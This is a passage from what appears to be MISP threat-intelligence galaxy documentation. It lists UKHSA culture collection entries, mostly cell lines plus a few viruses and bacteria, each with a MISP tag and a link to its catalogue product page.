The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7 Colony 26"*

Table 29858. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7-colony-26

HCA-7 Colony 24

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7 Colony 24"*

Table 29859. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7-colony-24

HCA-7

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7"*

Table 29860. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7

HCA-7 Colony 11

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7 Colony 11"*

Table 29861. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7-colony-11

BE(2)-C

The tag is: *misp-galaxy:ukhsa-culture-collections="BE(2)-C"*

Table 29862. Table References

Links
https://www.culturecollections.org.uk/nop/product/be2-c

ML-1

The tag is: *misp-galaxy:ukhsa-culture-collections="ML-1"*

Table 29863. Table References

Links
https://www.culturecollections.org.uk/nop/product/ml-1

3A sub E

The tag is: *misp-galaxy:ukhsa-culture-collections="3A sub E"*

Table 29864. Table References

Links
https://www.culturecollections.org.uk/nop/product/3a-sub-e

293-PERV-PK-CIRCE

The tag is: *misp-galaxy:ukhsa-culture-collections="293-PERV-PK-CIRCE"*

Table 29865. Table References

Links
https://www.culturecollections.org.uk/nop/product/293-perv-pk-circe

293-Hektor

The tag is: *misp-galaxy:ukhsa-culture-collections="293-Hektor"*

Table 29866. Table References

Links
https://www.culturecollections.org.uk/nop/product/293-hektor

MA104

The tag is: *misp-galaxy:ukhsa-culture-collections="MA104"*

Table 29867. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma104

SNA-BLL

The tag is: *misp-galaxy:ukhsa-culture-collections="SNA-BLL"*

Table 29868. Table References

Links
https://www.culturecollections.org.uk/nop/product/sna-bll

PA-PP

The tag is: *misp-galaxy:ukhsa-culture-collections="PA-PP"*

Table 29869. Table References

Links
https://www.culturecollections.org.uk/nop/product/pa-pp

AMAI

The tag is: *misp-galaxy:ukhsa-culture-collections="AMAI"*

Table 29870. Table References

Links
https://www.culturecollections.org.uk/nop/product/amai

KT3

The tag is: *misp-galaxy:ukhsa-culture-collections="KT3"*

Table 29871. Table References

Links
https://www.culturecollections.org.uk/nop/product/kt3

DUGE

The tag is: *misp-galaxy:ukhsa-culture-collections="DUGE"*

Table 29872. Table References

Links
https://www.culturecollections.org.uk/nop/product/duge

LADA

The tag is: *misp-galaxy:ukhsa-culture-collections="LADA"*

Table 29873. Table References

Links
https://www.culturecollections.org.uk/nop/product/lada

MIKA

The tag is: *misp-galaxy:ukhsa-culture-collections="MIKA"*

Table 29874. Table References

Links
https://www.culturecollections.org.uk/nop/product/mika

BLJU

The tag is: *misp-galaxy:ukhsa-culture-collections="BLJU"*

Table 29875. Table References

Links
https://www.culturecollections.org.uk/nop/product/blju

GU373

The tag is: *misp-galaxy:ukhsa-culture-collections="GU373"*

Table 29876. Table References

Links
https://www.culturecollections.org.uk/nop/product/gu373

CRJC

The tag is: *misp-galaxy:ukhsa-culture-collections="CRJC"*

Table 29877. Table References

Links
https://www.culturecollections.org.uk/nop/product/crjc

FUEA

The tag is: *misp-galaxy:ukhsa-culture-collections="FUEA"*

Table 29878. Table References

Links
https://www.culturecollections.org.uk/nop/product/fuea

HOVI

The tag is: *misp-galaxy:ukhsa-culture-collections="HOVI"*

Table 29879. Table References

Links
https://www.culturecollections.org.uk/nop/product/hovi

WELA

The tag is: *misp-galaxy:ukhsa-culture-collections="WELA"*

Table 29880. Table References

Links
https://www.culturecollections.org.uk/nop/product/wela

ARENT

The tag is: *misp-galaxy:ukhsa-culture-collections="ARENT"*

Table 29881. Table References

Links
https://www.culturecollections.org.uk/nop/product/arent

BON-CT

The tag is: *misp-galaxy:ukhsa-culture-collections="BON-CT"*

Table 29882. Table References

Links
https://www.culturecollections.org.uk/nop/product/bon-ct

BUA

The tag is: *misp-galaxy:ukhsa-culture-collections="BUA"*

Table 29883. Table References

Links
https://www.culturecollections.org.uk/nop/product/bua

DJA,N

The tag is: *misp-galaxy:ukhsa-culture-collections="DJA,N"*

Table 29884. Table References

Links
https://www.culturecollections.org.uk/nop/product/djan-2

HAY,BD

The tag is: *misp-galaxy:ukhsa-culture-collections="HAY,BD"*

Table 29885. Table References

Links
https://www.culturecollections.org.uk/nop/product/haybd-3

WIL-JON

The tag is: *misp-galaxy:ukhsa-culture-collections="WIL-JON"*

Table 29886. Table References

Links
https://www.culturecollections.org.uk/nop/product/wil-jon

TOKUNAGA

The tag is: *misp-galaxy:ukhsa-culture-collections="TOKUNAGA"*

Table 29887. Table References

Links
https://www.culturecollections.org.uk/nop/product/tokunaga-3

FPAF

The tag is: *misp-galaxy:ukhsa-culture-collections="FPAF"*

Table 29888. Table References

Links
https://www.culturecollections.org.uk/nop/product/fpaf

HRT-18

The tag is: *misp-galaxy:ukhsa-culture-collections="HRT-18"*

Table 29889. Table References

Links
https://www.culturecollections.org.uk/nop/product/hrt-18

HT2 Clone A5E

The tag is: *misp-galaxy:ukhsa-culture-collections="HT2 Clone A5E"*

Table 29890. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht2-clone-a5e

GPNT

The tag is: *misp-galaxy:ukhsa-culture-collections="GPNT"*

Table 29891. Table References

Links
https://www.culturecollections.org.uk/nop/product/gpnt

ES-R1-EYFP YC5/EYFP

The tag is: *misp-galaxy:ukhsa-culture-collections="ES-R1-EYFP YC5/EYFP"*

Table 29892. Table References

Links
https://www.culturecollections.org.uk/nop/product/es-r1-eyfp-yc5eyfp

ES-R1-EYFP 7AC5/EYFP

The tag is: *misp-galaxy:ukhsa-culture-collections="ES-R1-EYFP 7AC5/EYFP"*

Table 29893. Table References

Links
https://www.culturecollections.org.uk/nop/product/es-r1-eyfp-7ac5eyfp

ES-R1-EGFP D4/XEGFP

The tag is: *misp-galaxy:ukhsa-culture-collections="ES-R1-EGFP D4/XEGFP"*

Table 29894. Table References

Links
https://www.culturecollections.org.uk/nop/product/es-r1-egfp-d4xegfp

ES-R1-EGFP B5/EGFP

The tag is: *misp-galaxy:ukhsa-culture-collections="ES-R1-EGFP B5/EGFP"*

Table 29895. Table References

Links
https://www.culturecollections.org.uk/nop/product/es-r1-egfp-b5egfp

ES-R1-ECFP CK8/ECFP

The tag is: *misp-galaxy:ukhsa-culture-collections="ES-R1-ECFP CK8/ECFP"*

Table 29896. Table References

Links
https://www.culturecollections.org.uk/nop/product/es-r1-ecfp-ck8ecfp

ES-R1-ECFP CK6/ECFP

The tag is: *misp-galaxy:ukhsa-culture-collections="ES-R1-ECFP CK6/ECFP"*

Table 29897. Table References

Links
https://www.culturecollections.org.uk/nop/product/es-r1-ecfp-ck6ecfp

WI 38VA13 Subline 2RA

The tag is: *misp-galaxy:ukhsa-culture-collections="WI 38VA13 Subline 2RA"*

Table 29898. Table References

Links
https://www.culturecollections.org.uk/nop/product/wi-38va13-subline-2ra

SV3T3B

The tag is: *misp-galaxy:ukhsa-culture-collections="SV3T3B"*

Table 29899. Table References

Links
https://www.culturecollections.org.uk/nop/product/sv3t3b

LB823

The tag is: *misp-galaxy:ukhsa-culture-collections="LB823"*

Table 29900. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb823

LB708

The tag is: *misp-galaxy:ukhsa-culture-collections="LB708"*

Table 29901. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb708

PG13

The tag is: *misp-galaxy:ukhsa-culture-collections="PG13"*

Table 29902. Table References

Links
https://www.culturecollections.org.uk/nop/product/pg13

Vero/hSLAM

The tag is: *misp-galaxy:ukhsa-culture-collections="Vero/hSLAM"*

Table 29903. Table References

Links
https://www.culturecollections.org.uk/nop/product/verohslam

RCC4/VHL

The tag is: *misp-galaxy:ukhsa-culture-collections="RCC4/VHL"*

Table 29904. Table References

Links
https://www.culturecollections.org.uk/nop/product/rcc4vhl

RCC4 plus vector alone

The tag is: *misp-galaxy:ukhsa-culture-collections="RCC4 plus vector alone"*

Table 29905. Table References

Links
https://www.culturecollections.org.uk/nop/product/rcc4-plus-vector-alone

B95a

The tag is: *misp-galaxy:ukhsa-culture-collections="B95a"*

Table 29906. Table References

Links
https://www.culturecollections.org.uk/nop/product/b95a

REM 885

The tag is: *misp-galaxy:ukhsa-culture-collections="REM 885"*

Table 29907. Table References

Links
https://www.culturecollections.org.uk/nop/product/rem-885

DI TNC1

The tag is: *misp-galaxy:ukhsa-culture-collections="DI TNC1"*

Table 29908. Table References

Links
https://www.culturecollections.org.uk/nop/product/di-tnc1

LB707

The tag is: *misp-galaxy:ukhsa-culture-collections="LB707"*

Table 29909. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb707

LB687

The tag is: *misp-galaxy:ukhsa-culture-collections="LB687"*

Table 29910. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb687

LB316

The tag is: *misp-galaxy:ukhsa-culture-collections="LB316"*

Table 29911. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb316

LB277

The tag is: *misp-galaxy:ukhsa-culture-collections="LB277"*

Table 29912. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb277

LB205

The tag is: *misp-galaxy:ukhsa-culture-collections="LB205"*

Table 29913. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb205

LB83

The tag is: *misp-galaxy:ukhsa-culture-collections="LB83"*

Table 29914. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb83

LB81

The tag is: *misp-galaxy:ukhsa-culture-collections="LB81"*

Table 29915. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb81

LB541

The tag is: *misp-galaxy:ukhsa-culture-collections="LB541"*

Table 29916. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb541

LB58

The tag is: *misp-galaxy:ukhsa-culture-collections="LB58"*

Table 29917. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb58

LB242

The tag is: *misp-galaxy:ukhsa-culture-collections="LB242"*

Table 29918. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb242

LB750

The tag is: *misp-galaxy:ukhsa-culture-collections="LB750"*

Table 29919. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb750

LB443

The tag is: *misp-galaxy:ukhsa-culture-collections="LB443"*

Table 29920. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb443

LB199

The tag is: *misp-galaxy:ukhsa-culture-collections="LB199"*

Table 29921. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb199

LB198

The tag is: *misp-galaxy:ukhsa-culture-collections="LB198"*

Table 29922. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb198

LB182

The tag is: *misp-galaxy:ukhsa-culture-collections="LB182"*

Table 29923. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb182

LB173

The tag is: *misp-galaxy:ukhsa-culture-collections="LB173"*

Table 29924. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb173

LB7

The tag is: *misp-galaxy:ukhsa-culture-collections="LB7"*

Table 29925. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb7

MEF-1

The tag is: *misp-galaxy:ukhsa-culture-collections="MEF-1"*

Table 29926. Table References

Links
https://www.culturecollections.org.uk/nop/product/mef-1

SVCT-MI2

The tag is: *misp-galaxy:ukhsa-culture-collections="SVCT-MI2"*

Table 29927. Table References

Links
https://www.culturecollections.org.uk/nop/product/svct-mi2

XrS6-hamKu80

The tag is: *misp-galaxy:ukhsa-culture-collections="XrS6-hamKu80"*

Table 29928. Table References

Links
https://www.culturecollections.org.uk/nop/product/xrs6-hamku80

M15

The tag is: *misp-galaxy:ukhsa-culture-collections="M15"*

Table 29929. Table References

Links
https://www.culturecollections.org.uk/nop/product/m15

M-1

The tag is: *misp-galaxy:ukhsa-culture-collections="M-1"*

Table 29930. Table References

Links
https://www.culturecollections.org.uk/nop/product/m-1

FLYRD18

The tag is: *misp-galaxy:ukhsa-culture-collections="FLYRD18"*

Table 29931. Table References

Links
https://www.culturecollections.org.uk/nop/product/flyrd18

HR5-CL11

The tag is: *misp-galaxy:ukhsa-culture-collections="HR5-CL11"*

Table 29932. Table References

Links
https://www.culturecollections.org.uk/nop/product/hr5-cl11

HtTA-1

The tag is: *misp-galaxy:ukhsa-culture-collections="HtTA-1"*

Table 29933. Table References

Links
https://www.culturecollections.org.uk/nop/product/htta-1

HR5

The tag is: *misp-galaxy:ukhsa-culture-collections="HR5"*

Table 29934. Table References

Links
https://www.culturecollections.org.uk/nop/product/hr5

MH-S

The tag is: *misp-galaxy:ukhsa-culture-collections="MH-S"*

Table 29935. Table References

Links
https://www.culturecollections.org.uk/nop/product/mh-s

CRE BAG2

The tag is: *misp-galaxy:ukhsa-culture-collections="CRE BAG2"*

Table 29936. Table References

Links
https://www.culturecollections.org.uk/nop/product/cre-bag2

RCE

The tag is: *misp-galaxy:ukhsa-culture-collections="RCE"*

Table 29937. Table References

Links
https://www.culturecollections.org.uk/nop/product/rce

X1/5

The tag is: *misp-galaxy:ukhsa-culture-collections="X1/5"*

Table 29938. Table References

Links
https://www.culturecollections.org.uk/nop/product/x15

Ampli-GPE

The tag is: *misp-galaxy:ukhsa-culture-collections="Ampli-GPE"*

Table 29939. Table References

Links
https://www.culturecollections.org.uk/nop/product/ampli-gpe

PNT1A

The tag is: *misp-galaxy:ukhsa-culture-collections="PNT1A"*

Table 29940. Table References

Links
https://www.culturecollections.org.uk/nop/product/pnt1a

SVCT

The tag is: *misp-galaxy:ukhsa-culture-collections="SVCT"*

Table 29941. Table References

Links
https://www.culturecollections.org.uk/nop/product/svct

PG-4

The tag is: *misp-galaxy:ukhsa-culture-collections="PG-4"*

Table 29942. Table References

Links
https://www.culturecollections.org.uk/nop/product/pg-4

FGC4

The tag is: *misp-galaxy:ukhsa-culture-collections="FGC4"*

Table 29943. Table References

Links
https://www.culturecollections.org.uk/nop/product/fgc4

Psi-CRIP

The tag is: *misp-galaxy:ukhsa-culture-collections="Psi-CRIP"*

Table 29944. Table References

Links
https://www.culturecollections.org.uk/nop/product/psi-crip

Psi-CRE

The tag is: *misp-galaxy:ukhsa-culture-collections="Psi-CRE"*

Table 29945. Table References

Links
https://www.culturecollections.org.uk/nop/product/psi-cre

M1WT3

The tag is: *misp-galaxy:ukhsa-culture-collections="M1WT3"*

Table 29946. Table References

Links
https://www.culturecollections.org.uk/nop/product/m1wt3

GRL101 (MIX)

The tag is: *misp-galaxy:ukhsa-culture-collections="GRL101 (MIX)"*

Table 29947. Table References

Links
https://www.culturecollections.org.uk/nop/product/grl101-mix

GRL101 (KC7)

The tag is: *misp-galaxy:ukhsa-culture-collections="GRL101 (KC7)"*

Table 29948. Table References

Links
https://www.culturecollections.org.uk/nop/product/grl101-kc7

H2.35

The tag is: *misp-galaxy:ukhsa-culture-collections="H2.35"*

Table 29949. Table References

Links
https://www.culturecollections.org.uk/nop/product/h235

R74

The tag is: *misp-galaxy:ukhsa-culture-collections="R74"*

Table 29950. Table References

Links
https://www.culturecollections.org.uk/nop/product/r74

IPI-2I

The tag is: *misp-galaxy:ukhsa-culture-collections="IPI-2I"*

Table 29951. Table References

Links
https://www.culturecollections.org.uk/nop/product/ipi-2i

IPI-1

The tag is: *misp-galaxy:ukhsa-culture-collections="IPI-1"*

Table 29952. Table References

Links
https://www.culturecollections.org.uk/nop/product/ipi-1

MOP-8

The tag is: *misp-galaxy:ukhsa-culture-collections="MOP-8"*

Table 29953. Table References

Links
https://www.culturecollections.org.uk/nop/product/mop-8

RENTts3.1

The tag is: *misp-galaxy:ukhsa-culture-collections="RENTts3.1"*

Table 29954. Table References

Links
https://www.culturecollections.org.uk/nop/product/rentts31

RENTRO3

The tag is: *misp-galaxy:ukhsa-culture-collections="RENTRO3"*

Table 29955. Table References

Links
https://www.culturecollections.org.uk/nop/product/rentro3

RENTRO1

The tag is: *misp-galaxy:ukhsa-culture-collections="RENTRO1"*

Table 29956. Table References

Links
https://www.culturecollections.org.uk/nop/product/rentro1

RENT4

The tag is: *misp-galaxy:ukhsa-culture-collections="RENT4"*

Table 29957. Table References

Links
https://www.culturecollections.org.uk/nop/product/rent4

RENE2

The tag is: *misp-galaxy:ukhsa-culture-collections="RENE2"*

Table 29958. Table References

Links
https://www.culturecollections.org.uk/nop/product/rene2

RENE1

The tag is: *misp-galaxy:ukhsa-culture-collections="RENE1"*

Table 29959. Table References

Links
https://www.culturecollections.org.uk/nop/product/rene1

46BR.1N

The tag is: *misp-galaxy:ukhsa-culture-collections="46BR.1N"*

Table 29960. Table References

Links
https://www.culturecollections.org.uk/nop/product/46br1n

104C1

The tag is: *misp-galaxy:ukhsa-culture-collections="104C1"*

Table 29961. Table References

Links
https://www.culturecollections.org.uk/nop/product/104c1

MOUSE L CELLS (TK+, HBS Ag+)

The tag is: *misp-galaxy:ukhsa-culture-collections="MOUSE L CELLS (TK+, HBS Ag+)"*

Table 29962. Table References

Links
https://www.culturecollections.org.uk/nop/product/mouse-l-cells-tk-hbs-ag

DoCI1 (S+L-)

The tag is: *misp-galaxy:ukhsa-culture-collections="DoCI1 (S+L-)"*

Table 29963. Table References

Links
https://www.culturecollections.org.uk/nop/product/doci1-sl-

MSVIF-TK+

The tag is: *misp-galaxy:ukhsa-culture-collections="MSVIF-TK+"*

Table 29964. Table References

Links
https://www.culturecollections.org.uk/nop/product/msvif-tk

MSV.B

The tag is: *misp-galaxy:ukhsa-culture-collections="MSV.B"*

Table 29965. Table References

Links
https://www.culturecollections.org.uk/nop/product/msvb

Clone 81

The tag is: *misp-galaxy:ukhsa-culture-collections="Clone 81"*

Table 29966. Table References

Links
https://www.culturecollections.org.uk/nop/product/clone-81

FEA4 + PFSC/C1

The tag is: *misp-galaxy:ukhsa-culture-collections="FEA4 + PFSC/C1"*

Table 29967. Table References

Links
https://www.culturecollections.org.uk/nop/product/fea4-pfscc1

M-MSV-BALB/3T3

The tag is: *misp-galaxy:ukhsa-culture-collections="M-MSV-BALB/3T3"*

Table 29968. Table References

Links
https://www.culturecollections.org.uk/nop/product/m-msv-balb3t3

SV-T2

The tag is: *misp-galaxy:ukhsa-culture-collections="SV-T2"*

Table 29969. Table References

Links
https://www.culturecollections.org.uk/nop/product/sv-t2

1BR.3.GN

The tag is: *misp-galaxy:ukhsa-culture-collections="1BR.3.GN"*

Table 29970. Table References

Links
https://www.culturecollections.org.uk/nop/product/1br3gn

1BR.3.G

The tag is: *misp-galaxy:ukhsa-culture-collections="1BR.3.G"*

Table 29971. Table References

Links
https://www.culturecollections.org.uk/nop/product/1br3g

Nthy-ts1

The tag is: *misp-galaxy:ukhsa-culture-collections="Nthy-ts1"*

Table 29972. Table References

Links
https://www.culturecollections.org.uk/nop/product/nthy-ts1

WI 26 VA4

The tag is: *misp-galaxy:ukhsa-culture-collections="WI 26 VA4"*

Table 29973. Table References

Links
https://www.culturecollections.org.uk/nop/product/wi-26-va4

EB176 (JC)

The tag is: *misp-galaxy:ukhsa-culture-collections="EB176 (JC)"*

Table 29974. Table References

Links
https://www.culturecollections.org.uk/nop/product/eb176-jc

EB (JC)

The tag is: *misp-galaxy:ukhsa-culture-collections="EB (JC)"*

Table 29975. Table References

Links
https://www.culturecollections.org.uk/nop/product/eb-jc

26 CB1

The tag is: *misp-galaxy:ukhsa-culture-collections="26 CB1"*

Table 29976. Table References

Links
https://www.culturecollections.org.uk/nop/product/26-cb1

PUTKO

The tag is: *misp-galaxy:ukhsa-culture-collections="PUTKO"*

Table 29977. Table References

Links
https://www.culturecollections.org.uk/nop/product/putko

NFS-70 C10

The tag is: *misp-galaxy:ukhsa-culture-collections="NFS-70 C10"*

Table 29978. Table References

Links
https://www.culturecollections.org.uk/nop/product/nfs-70-c10

NFS-5 C1

The tag is: *misp-galaxy:ukhsa-culture-collections="NFS-5 C1"*

Table 29979. Table References

Links
https://www.culturecollections.org.uk/nop/product/nfs-5-c1

COS-1

The tag is: *misp-galaxy:ukhsa-culture-collections="COS-1"*

Table 29980. Table References

Links
https://www.culturecollections.org.uk/nop/product/cos-1

KNRK

The tag is: *misp-galaxy:ukhsa-culture-collections="KNRK"*

Table 29981. Table References

Links
https://www.culturecollections.org.uk/nop/product/knrk

COS-7

The tag is: *misp-galaxy:ukhsa-culture-collections="COS-7"*

Table 29982. Table References

Links
https://www.culturecollections.org.uk/nop/product/cos-7

CL 21

The tag is: *misp-galaxy:ukhsa-culture-collections="CL 21"*

Table 29983. Table References

Links
https://www.culturecollections.org.uk/nop/product/cl-21

MOU

The tag is: *misp-galaxy:ukhsa-culture-collections="MOU"*

Table 29984. Table References

Links
https://www.culturecollections.org.uk/nop/product/mou

YBM 5.10.4

The tag is: *misp-galaxy:ukhsa-culture-collections="YBM 5.10.4"*

Table 29985. Table References

Links
https://www.culturecollections.org.uk/nop/product/ybm-5104

SK-GT-2

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-GT-2"*

Table 29986. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-gt-2

H9

The tag is: *misp-galaxy:ukhsa-culture-collections="H9"*

Table 29987. Table References

Links
https://www.culturecollections.org.uk/nop/product/h9

MOG-G-UVW

The tag is: *misp-galaxy:ukhsa-culture-collections="MOG-G-UVW"*

Table 29988. Table References

Links
https://www.culturecollections.org.uk/nop/product/mog-g-uvw

RPMI 1788

The tag is: *misp-galaxy:ukhsa-culture-collections="RPMI 1788"*

Table 29989. Table References

Links
https://www.culturecollections.org.uk/nop/product/rpmi-1788

GS-109-V-34

The tag is: *misp-galaxy:ukhsa-culture-collections="GS-109-V-34"*

Table 29990. Table References

Links
https://www.culturecollections.org.uk/nop/product/gs-109-v-34

HS-Sultan

The tag is: *misp-galaxy:ukhsa-culture-collections="HS-Sultan"*

Table 29991. Table References

Links
https://www.culturecollections.org.uk/nop/product/hs-sultan

P3HR-1

The tag is: *misp-galaxy:ukhsa-culture-collections="P3HR-1"*

Table 29992. Table References

Links
https://www.culturecollections.org.uk/nop/product/p3hr-1

143B

The tag is: *misp-galaxy:ukhsa-culture-collections="143B"*

Table 29993. Table References

Links
https://www.culturecollections.org.uk/nop/product/143b

HOS

The tag is: *misp-galaxy:ukhsa-culture-collections="HOS"*

Table 29994. Table References

Links
https://www.culturecollections.org.uk/nop/product/hos

KHOS/NP

The tag is: *misp-galaxy:ukhsa-culture-collections="KHOS/NP"*

Table 29995. Table References

Links
https://www.culturecollections.org.uk/nop/product/khosnp

KHOS-312H

The tag is: *misp-galaxy:ukhsa-culture-collections="KHOS-312H"*

Table 29996. Table References

Links
https://www.culturecollections.org.uk/nop/product/khos-312h

TAT-1

The tag is: *misp-galaxy:ukhsa-culture-collections="TAT-1"*

Table 29997. Table References

Links
https://www.culturecollections.org.uk/nop/product/tat-1

YFC 118.12

The tag is: *misp-galaxy:ukhsa-culture-collections="YFC 118.12"*

Table 29998. Table References

Links
https://www.culturecollections.org.uk/nop/product/yfc-11812

YTS 177.9.6.1

The tag is: *misp-galaxy:ukhsa-culture-collections="YTS 177.9.6.1"*

Table 29999. Table References

Links
https://www.culturecollections.org.uk/nop/product/yts-177961-3

MS-1

The tag is: *misp-galaxy:ukhsa-culture-collections="MS-1"*

Table 30000. Table References

Links
https://www.culturecollections.org.uk/nop/product/ms-1

Hepa-E1

The tag is: *misp-galaxy:ukhsa-culture-collections="Hepa-E1"*

Table 30001. Table References

Links
https://www.culturecollections.org.uk/nop/product/hepa-e1

YTA 3.1.2

The tag is: *misp-galaxy:ukhsa-culture-collections="YTA 3.1.2"*

Table 30002. Table References

Links
https://www.culturecollections.org.uk/nop/product/yta-312

CHO/dhFr-AC-free

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO/dhFr-AC-free"*

Table 30003. Table References

Links
https://www.culturecollections.org.uk/nop/product/chodhfr-ac-free

CHO/dhFr-

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO/dhFr-"*

Table 30004. Table References

Links
https://www.culturecollections.org.uk/nop/product/chodhfr-

Mero-14

The tag is: *misp-galaxy:ukhsa-culture-collections="Mero-14"*

Table 30005. Table References

Links
https://www.culturecollections.org.uk/nop/product/mero-14

VP267

The tag is: *misp-galaxy:ukhsa-culture-collections="VP267"*

Table 30006. Table References

Links
https://www.culturecollections.org.uk/nop/product/vp267

GP5d

The tag is: *misp-galaxy:ukhsa-culture-collections="GP5d"*

Table 30007. Table References

Links
https://www.culturecollections.org.uk/nop/product/gp5d

NORIg 7.16.2

The tag is: *misp-galaxy:ukhsa-culture-collections="NORIg 7.16.2"*

Table 30008. Table References

Links
https://www.culturecollections.org.uk/nop/product/norig-7162-2

YW 62.3.20

The tag is: *misp-galaxy:ukhsa-culture-collections="YW 62.3.20"*

Table 30009. Table References

Links
https://www.culturecollections.org.uk/nop/product/yw-62320

YTS 213.1.1

The tag is: *misp-galaxy:ukhsa-culture-collections="YTS 213.1.1"*

Table 30010. Table References

Links
https://www.culturecollections.org.uk/nop/product/yts-21311

YTS 191.1.1.2

The tag is: *misp-galaxy:ukhsa-culture-collections="YTS 191.1.1.2"*

Table 30011. Table References

Links
https://www.culturecollections.org.uk/nop/product/yts-191112

YTS 169.4.2.1

The tag is: *misp-galaxy:ukhsa-culture-collections="YTS 169.4.2.1"*

Table 30012. Table References

Links
https://www.culturecollections.org.uk/nop/product/yts-169421

YTS 156.7.7

The tag is: *misp-galaxy:ukhsa-culture-collections="YTS 156.7.7"*

Table 30013. Table References

Links
https://www.culturecollections.org.uk/nop/product/yts-15677

YTS 105.18.10

The tag is: *misp-galaxy:ukhsa-culture-collections="YTS 105.18.10"*

Table 30014. Table References

Links
https://www.culturecollections.org.uk/nop/product/yts-1051810

YTH 470.5

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 470.5"*

Table 30015. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-4705

YTH 913.12

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 913.12"*

Table 30016. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-91312

YTH 906.9HL

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 906.9HL"*

Table 30017. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-9069hl

YTH 89.1

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 89.1"*

Table 30018. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-891

YTH 862.2

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 862.2"*

Table 30019. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-8622

YTH 81.5

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 81.5"*

Table 30020. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-815

YTH 80.103

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 80.103"*

Table 30021. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-80103

YTH 76.3

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 76.3"*

Table 30022. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-763

YTH 53.1

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 53.1"*

Table 30023. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-531

YTH 30.15

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 30.15"*

Table 30024. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-3015

YTA 74.4.4

The tag is: *misp-galaxy:ukhsa-culture-collections="YTA 74.4.4"*

Table 30025. Table References

Links
https://www.culturecollections.org.uk/nop/product/yta-7444

YBM 29.2.1

The tag is: *misp-galaxy:ukhsa-culture-collections="YBM 29.2.1"*

Table 30026. Table References

Links
https://www.culturecollections.org.uk/nop/product/ybm-2921

YFC 120.5

The tag is: *misp-galaxy:ukhsa-culture-collections="YFC 120.5"*

Table 30027. Table References

Links
https://www.culturecollections.org.uk/nop/product/yfc-1205

YAML 555.6

The tag is: *misp-galaxy:ukhsa-culture-collections="YAML 555.6"*

Table 30028. Table References

Links
https://www.culturecollections.org.uk/nop/product/yaml-5556

YAML 501.4

The tag is: *misp-galaxy:ukhsa-culture-collections="YAML 501.4"*

Table 30029. Table References

Links
https://www.culturecollections.org.uk/nop/product/yaml-5014

SARS Coronavirus

The tag is: *misp-galaxy:ukhsa-culture-collections="SARS Coronavirus"*

Table 30030. Table References

Links
https://www.culturecollections.org.uk/nop/product/sars-coronavirus-2

Bebaru virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bebaru virus"*

Table 30031. Table References

Links
https://www.culturecollections.org.uk/nop/product/bebaru-virus

Paenibacillus alvei

The tag is: *misp-galaxy:ukhsa-culture-collections="Paenibacillus alvei"*

Table 30032. Table References

Links
https://www.culturecollections.org.uk/nop/product/paenibacillus-alvei
https://www.culturecollections.org.uk/nop/product/paenibacillus-alvei-2
https://www.culturecollections.org.uk/nop/product/paenibacillus-alvei-3
https://www.culturecollections.org.uk/nop/product/paenibacillus-alvei-4

233 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="233 BLCL"*

Table 30033. Table References

Links
https://www.culturecollections.org.uk/nop/product/233-blcl

L8

The tag is: *misp-galaxy:ukhsa-culture-collections="L8"*

Table 30034. Table References

Links
https://www.culturecollections.org.uk/nop/product/l8-2

1BR3

The tag is: *misp-galaxy:ukhsa-culture-collections="1BR3"*

Table 30035. Table References

Links

https://www.culturecollections.org.uk/nop/product/1br3

155BR

The tag is: *misp-galaxy:ukhsa-culture-collections="155BR"*

Table 30036. Table References

Links
https://www.culturecollections.org.uk/nop/product/155br

149BR

The tag is: *misp-galaxy:ukhsa-culture-collections="149BR"*

Table 30037. Table References

Links
https://www.culturecollections.org.uk/nop/product/149br

BW5147.G.1.4.OUA/R.1

The tag is: *misp-galaxy:ukhsa-culture-collections="BW5147.G.1.4.OUA/R.1"*

Table 30038. Table References

Links
https://www.culturecollections.org.uk/nop/product/bw5147g14ouar1-2

1301

